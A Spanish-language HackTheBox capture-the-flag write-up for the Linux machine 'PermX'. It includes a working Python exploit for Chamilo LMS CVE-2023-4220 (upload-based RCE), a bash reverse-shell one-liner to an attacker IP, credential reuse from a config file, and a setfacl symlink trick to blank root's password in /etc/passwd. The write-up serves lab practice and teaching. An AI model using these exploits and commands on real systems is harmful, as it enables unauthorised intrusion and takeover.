PermX – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“PermX” es una máquina de dificultad fácil de la plataforma HackTheBox
. Somos capaces de encontrar que la máquina víctima está corriendo un servidor web, y albergando un sitio mediante vhosting
corriendo Chamilo LMS
el cual es vulnerable a Remote Code Execution
(CVE-2023-4220). Esto nos permite ganar acceso inicial a la máquina víctima. Somos entonces capaces de obtener credenciales para un usuario dentro de ésta las cuales se encontraban en unos archivos de configuración. Pivoteando a este nuevo usuario, podemos ver que éste puede ejecutar un script personalizado como root
. Este script nos permite, mediante un enlace simbólico, editar archivos sensibles del sistema como /etc/passwd
; lo cual nos permite cambiar/borrar la contraseña del usuario root
y tomar control de éste.
Usuario Link to heading
Empezando con un escaneo rápido y silencioso de Nmap
:
❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.23
Sólo podemos ver 2 puertos abiertos: 22
SSH
y 80
HTTP
.
Aplicando algunos scripts de reconocimiento con la flag -sVC
a estos puertos tenemos:
❯ sudo nmap -sVC -p22,80 10.10.11.23
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-14 19:06 -04
Nmap scan report for 10.10.11.23
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.35 seconds
Del output del escaneo puedo ver que el sitio HTTP
redirige al dominio permx.htb
, de manera que agregamos este dominio a nuestro archivo /etc/hosts
ejecutando:
❯ echo '10.10.11.23 permx.htb' | sudo tee -a /etc/hosts
Una vez agregado, escaneamos el sitio http://permx.htb
con la herramienta WhatWeb
:
❯ whatweb -a 3 http://permx.htb
http://permx.htb [200 OK] Apache[2.4.52], Bootstrap[5.0.0], Country[RESERVED][ZZ], Email[permx@htb.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.23], JQuery[3.4.1], Script, Title[eLEARNING]
Pero no veo mucha información útil fuera de un email de contacto permx@htb.com
.
Visitando la página web http://permx.htb
tenemos:
Exploramos el sitio web, pero éste sólo tiene archivos y páginas html
. Clickeando en Join Now
simplemente redirige al sitio principal. Ya en este punto buscamos por directorios ocultos a través de un Brute Force Directory Listing
con Gobuster
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://permx.htb -t 55 --add-slash
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://permx.htb
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img/ (Status: 200) [Size: 4406]
/icons/ (Status: 403) [Size: 274]
/css/ (Status: 200) [Size: 1140]
/lib/ (Status: 200) [Size: 1714]
/js/ (Status: 200) [Size: 922]
/server-status/ (Status: 403) [Size: 274]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
Pero tampoco puedo ver algo interesante.
Luego, decidimos buscar por vhosts
usando ffuf
:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://permx.htb/ -H 'Host: FUZZ.permx.htb' -t 30 -fw 18
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://permx.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.permx.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 30
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 18
________________________________________________
www [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 162ms]
lms [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 196ms]
:: Progress: [4989/4989] :: Job [1/1] :: 184 req/sec :: Duration: [0:00:26] :: Errors: 0 ::
Encontramos 2 subdominios: www.permx.htb
y lms.permx.htb
.
Agrego ambos dominios a mi archivo /etc/hosts
, de manera que ahora éste se ve como:
❯ tail -n 1 /etc/hosts
10.10.11.23 permx.htb www.permx.htb lms.permx.htb
Visitando www.permx.htb
simplemente muestra el sitio http://permx.htb
. Visitando http://lms.permx.htb
muestra algo diferente; un nuevo panel de login:
Tenemos un portal corriendo Chamilo LMS
.
Chamilo LMS
is a learning management system designed to support effective online education (often referred to as e-learning).En corto, es un software para educación online.
Buscando por exploits recientes para este software encontramos la vulnerabilidad CVE-2023-3533. Esta página muestra cómo funciona el exploit; no obstante, este exploit no funciona en la máquina víctima. Luego, encontramos otra vulnerabilidad catalogada como CVE-2023-4220. Este página provée un Proof of Concept
(PoC
/prueba de concepto) para esta vulnerabilidad:
$ echo '<?php system("id"); ?>' > rce.php
$ curl -F 'bigUploadFile=@rce.php' 'http://<chamilo>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.
$ curl 'http://<chamilo>/main/inc/lib/javascript/bigupload/files/rce.php'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Adapto este exploit a un script de Python
(porque puedo):
#!/usr/bin/python3
import requests
import argparse
from sys import exit as sysexit
from os import remove as osremove
def parse_arguments()->argparse.Namespace:
parser = argparse.ArgumentParser(description='Process some flags.')
# Add arguments
parser.add_argument('-u', '--url', type=str, help='URL running Chamilo LMS. Example: http://example-target.com', required=True)
parser.add_argument('-c', '--command', type=str, help='System command to run in the victim target', required=True)
parser.add_argument('-f', '--filename', type=str, help='PHP filename/payload to upload to the target. Default: poc.php', default='poc.php')
# Return parsed arguments
return parser.parse_args()
def create_payload(args:argparse.Namespace)->None:
# Create and write the file that contains the payload
php_code = f'<?php system("{args.command}"); ?>'
with open(args.filename, 'w') as file:
file.write(php_code)
print(f"[+] Creating the PHP file/payload with the command {args.command!r}...")
return
def upload_payload(args: argparse.Namespace)->None:
# Set the url to attack
upload_url: str = f'{args.url}/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
print("[+] Attempting to upload the payload...")
with open(args.filename, 'rb') as file:
files = {'bigUploadFile': file}
try:
response = requests.post(upload_url, files=files)
except Exception as err:
print(f"[-] Something happened when attempting to load the payload:\n{err}")
sysexit(1)
if response.status_code != 200:
print(f"[-] Bad status code in POST request: HTTP Status Code {response.status_code}")
sysexit(1)
print(f"[+] Server response:\n{response.text}")
return
def get_payload(args: argparse.Namespace)->None:
# Set the url where the file should be uploaded
access_url = f'{args.url}/main/inc/lib/javascript/bigupload/files/{args.filename}'
print("[+] Attempting to get the content of the uploaded file...")
try:
# Access the uploaded file
response = requests.get(access_url)
except Exception as err:
print(f"[-] Something happened:\n{err}")
sysexit(1)
# Print the response from the access request
print(f"[+] Uploaded file content:\n{response.text}")
return
def main()->None:
# Get argument from the user
args = parse_arguments()
print(f"[+] Attacking {args.url!r}...")
# Create the file/payload
create_payload(args)
try:
# Upload the payload
upload_payload(args)
# Get the content of the payload
get_payload(args)
finally:
# Remove the file/payload we have created
osremove(args.filename)
if __name__ == "__main__":
main()
Guardo este script/exploit como CVE-2023-4220.py
(disponible en mi repositorio de Github). Para revisar si esto funciona me enviaré un ping
contra mi máquina de atacante poniéndome en escucha con tcpdump
por trazas ICMP:
❯ sudo tcpdump -ni tun0 icmp
donde tun0
es el nombre de interfaz de HackTheBox
.
Ejecutamos el exploit:
❯ python3 CVE-2023-4220.py -u http://lms.permx.htb -c 'ping -c1 10.10.16.9'
[+] Attacking 'http://lms.permx.htb'...
[+] Creating the PHP file/payload with the command 'ping -c1 10.10.16.9'...
[+] Attempting to upload the payload...
[+] Server response:
The file has successfully been uploaded.
[+] Attempting to get the content of the uploaded file...
[+] Uploaded file content:
PING 10.10.16.9 (10.10.16.9) 56(84) bytes of data.
64 bytes from 10.10.16.9: icmp_seq=1 ttl=63 time=292 ms
--- 10.10.16.9 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 291.716/291.716/291.716/0.000 ms
y en mi listener con tcpdump
obtengo:
❯ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
20:19:20.741360 IP 10.10.11.23 > 10.10.16.9: ICMP echo request, id 3, seq 1, length 64
20:19:20.741374 IP 10.10.16.9 > 10.10.11.23: ICMP echo reply, id 3, seq 1, length 64
Funciona. Hemos logrado Remote Code Execution
(ejecución remota de comandos) tal cual describía el reporte.
Por tanto, empezamos un listener con netcat
en el puerto 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
y creamos un payload para enviarnos una reverse shell:
❯ python3 CVE-2023-4220.py -u http://lms.permx.htb -c "bash -c 'bash -i >& /dev/tcp/10.10.16.9/443 0>&1'"
[+] Attacking 'http://lms.permx.htb'...
[+] Creating the PHP file/payload with the command "bash -c 'bash -i >& /dev/tcp/10.10.16.9/443 0>&1'"...
[+] Attempting to upload the payload...
[+] Server response:
The file has successfully been uploaded.
[+] Attempting to get the content of the uploaded file...
donde 10.10.16.9
es nuestra IP de atacante y 443
el puerto en escucha.
En nuestro listener con netcat
obtenemos una shell como el usuario www-data
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.23] 55936
bash: cannot set terminal process group (1189): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ whoami
<ilo/main/inc/lib/javascript/bigupload/files$ whoami
www-data
Subiremos LinPEAS
a la máquina víctima (descargable desde su repositorio de Github). Para ello empezamos un servidor HTTP
Python
temporal por el puerto 8080
exponiendo linpeas.sh
:
❯ ls -la && python3 -m http.server 8080
total 860
drwxr-xr-x 2 gunzf0x gunzf0x 4096 Jun 1 23:39 .
drwxr-xr-x 12 gunzf0x gunzf0x 4096 Feb 21 22:21 ..
-rwxr-xr-x 1 gunzf0x gunzf0x 862779 May 26 00:29 linpeas.sh
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
y, en la máquina víctima, lo descargamos y le damos permisos de ejecución:
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ wget http://10.10.16.9:8080/linpeas.sh -O /tmp/linpeas.sh
<SNIP>
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ chmod +x /tmp/linpeas.sh
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ /tmp/linpeas.sh
<SNIP>
Luego de ejecutar LinPEAS
podemos ver algunas credenciales:
<SNIP>
╔══════════╣ Searching passwords in config PHP files
/var/www/chamilo/app/config/configuration.php: 'show_password_field' => false,
/var/www/chamilo/app/config/configuration.php: 'show_password_field' => true,
/var/www/chamilo/app/config/configuration.php: 'wget_password' => '',
/var/www/chamilo/app/config/configuration.php: 'force_different_password' => false,
/var/www/chamilo/app/config/configuration.php:$_configuration['auth_password_links'] = [
/var/www/chamilo/app/config/configuration.php:$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
/var/www/chamilo/app/config/configuration.php:$_configuration['password_encryption'] = 'bcrypt';
/var/www/chamilo/app/config/configuration.php:/*$_configuration['password_requirements'] = [
/var/www/chamilo/app/config/configuration.php://$_configuration['email_template_subscription_to_session_confirmation_lost_password'] = false;
<SNIP>
Podemos ver algo que parece una contraseña/credencial: 03F6lY3uXAP2bkW8
.
Notamos, además, que existe un usuario llamado mtz
:
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ ls /home
mtz
Por lo tanto, revisamos si esta contraseña es válida para este usuario usando NetExec
a través del servicio SSH
(que, como mostró el escaneo inicial, está disponible):
❯ netexec ssh 10.10.11.23 -u 'mtz' -p '03F6lY3uXAP2bkW8'
SSH 10.10.11.23 22 10.10.11.23 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.23 22 10.10.11.23 [+] mtz:03F6lY3uXAP2bkW8 (non root) Linux - Shell access!
Estas credenciales funcionan.
Nos conectamos entonces a través de SSH
como el usuario mtz
:
❯ sshpass -p '03F6lY3uXAP2bkW8' ssh -o stricthostkeychecking=no mtz@10.10.11.23
<SNIP>
mtz@permx:~$ ls
user.txt
Podemos obtener la flag de usuario en el directorio /home
del usuario mtz
.
Root Link to heading
Revisando qué es lo que puede ejecutar este usuario con sudo
tenemos algo:
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
Donde puedo ver que podemos ejecutar el script /opt/acl.sh
sin necesidad de proveer una contraseña.
Revisando qué es lo que hace este script tenemos:
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if ` "$target" != /home/mtz/* || "$target" == *..* `; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
Este es un script en Bash
el cual es usado para definir listas de control de acceso (ACLs) para un archivo específico a un usuario específico. Basados en GTFOBins
, tal cual se explica aquí, podemos usar setfacl
para asignar permisos a archivos sensibles del sistema.
Sin embargo, el script tiene 2 restricciones:
- El archivo debe de estar localizado dentro del directorio
/home/mtz
. - El archivo no puede tener
..
en su nombre. Por lo que intentar unDirectory Traversal
no es una opción factible.
Luego de pensarlo un poco, podemos crear un link simbólico a un archivo del sistema. Por ejemplo crear un link simbólico a /etc/passwd
y localizarlo en el directorio /home/mtz
:
mtz@permx:~$ ln -s /etc/passwd /home/mtz/passwd_copy
Luego, ejecutamos el script con sudo
:
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/passwd_copy
No obtuvimos errores. Quizás esto funcionó.
Si esto ha funcionado, ahora deberíamos de ser capaces de editar el archivo /etc/passwd
. Podemos usar un editor de texto como nano
o vi
(ambos disponibles en la máquina víctima) para editar este archivo simplemente ejecutando nano /home/mtz/passwd_copy
o nano /etc/passwd
y cambiando solamente la línea:
root:x:0:0:root:/root:/bin/bash
a
root::0:0:root:/root:/bin/bash
Es decir., ahora el usuario root
no requiere contraseña para loguearse como éste.
Por ende, una vez editado /etc/passwd
a través del link simbólico, corremos:
mtz@permx:~$ su root
root@permx:/home/mtz# whoami
root
GG. Podemos leer la flag del usuario root
en el directorio /root
.
~Happy Hacking